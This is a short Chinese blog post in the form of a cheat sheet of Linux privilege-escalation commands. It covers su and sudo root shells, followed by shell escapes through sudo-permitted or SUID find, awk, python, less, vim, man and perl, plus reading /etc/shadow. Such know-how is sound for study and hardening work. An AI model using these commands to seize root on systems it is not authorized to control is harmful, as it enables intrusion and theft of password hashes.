> 技术文档 > Linux下提权root权限

Linux下提权root权限

现在AI工具这么丰富,稍微搜一下就有一个差不多的总结输出。但是,可能还不够详细,或者给得太多~~~

今天时间关系,今天只总结了在Linux如何提权到root,并没有写如何进行防护。后面有时间,我再总结一下。

命令 实操 前提条件 作用说明 补充说明 su su 拥有root口令 切换到 root 用户(继承当前环境) su -, -l, --login  拥有root口令 切换到 root 用户(使用root环境变量 sudo sudo -s 当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 非登录式 root shell访问(保留原环境变量) sudo bash 当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 非登录式 root shell访问(保留原环境变量) sudo -i 当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 登录式 root shell访问(使用root环境变量) sudo su 当前用户在 sudoers 列表,拥有su命令的可执行权限 切换到 root 用户(继承当前环境) sudo su - 当前用户在 sudoers 列表,拥有su命令的可执行权限 切换到 root 用户(使用root环境变量) ssh ssh root@localhost 拥有root口令 登录式 root shell访问(使用root环境变量) ssh -i /path/to/root_key root@host 拥有公钥文件 登录式 root shell访问(使用root环境变量) find sudo find . -exec /bin/sh \\; -quit 当前用户在 sudoers 列表,拥有find命令的可执行权限 非登录式 root shell访问(保留原环境变量) find . -exec /bin/sh \\; -quit find被授权SUID或者GUID 非登录式 root shell访问(保留原环境变量)
仍然是普通用户权限
1、find确实会将root权限传递给给-exec下的命令
2、但是,shell命令可能并不吃这一套
find . -exec cat /etc/shadow \\; -quit find被授权SUID或者GUID 查看/etc/shadow文件(成功) awk sudo awk \'BEGIN {system(\"/bin/sh\")}\' 当前用户在 sudoers 列表,拥有awk命令的可执行权限 非登录式 root shell访问(保留原环境变量) awk \'BEGIN {system(\"/bin/sh\")}\' awk被授权SUID或者GUID 非登录式 root shell访问(保留原环境变量) python  sudo python -c \'import os; os.setuid(0); os.system(\"/bin/sh\")\' 当前用户在 sudoers 列表,拥有python命令的可执行权限 非登录式 root shell访问(保留原环境变量) python -c \'import os; os.setuid(0); os.system(\"/bin/sh\")\' python被授权SUID或者GUID 非登录式 root shell访问(保留原环境变量) less/more sudo less /etc/shadow → v → :!/bin/sh 当前用户在 sudoers 列表,拥有less命令的可执行权限 非登录式 root shell访问(保留原环境变量) less /etc/shadow → v → :!/bin/sh less被授权SUID或者GUID 非登录式 root shell访问(保留原环境变量) vim/vi sudo vi -c \':!/bin/bash\' 当前用户在 sudoers 列表,拥有vim/vi命令的可执行权限 非登录式 root shell访问(保留原环境变量) vi -c \':!/bin/bash\' vim/vi被授权SUID或者GUID 非登录式 root shell访问(保留原环境变量) man sudo man passwd → !/bin/sh 当前用户在 sudoers 列表,拥有man命令的可执行权限 非登录式 root shell访问(保留原环境变量) man passwd → !/bin/sh man被授权SUID或者GUID 非登录式 root shell访问(保留原环境变量) perl sudo perl -e \'system(\"/bin/bash\")\' 当前用户在 sudoers 列表,拥有perl命令的可执行权限 非登录式 root shell访问(保留原环境变量) perl -e \'system(\"/bin/bash\")\' perl被授权SUID或者GUID 非登录式 root shell访问(保留原环境变量)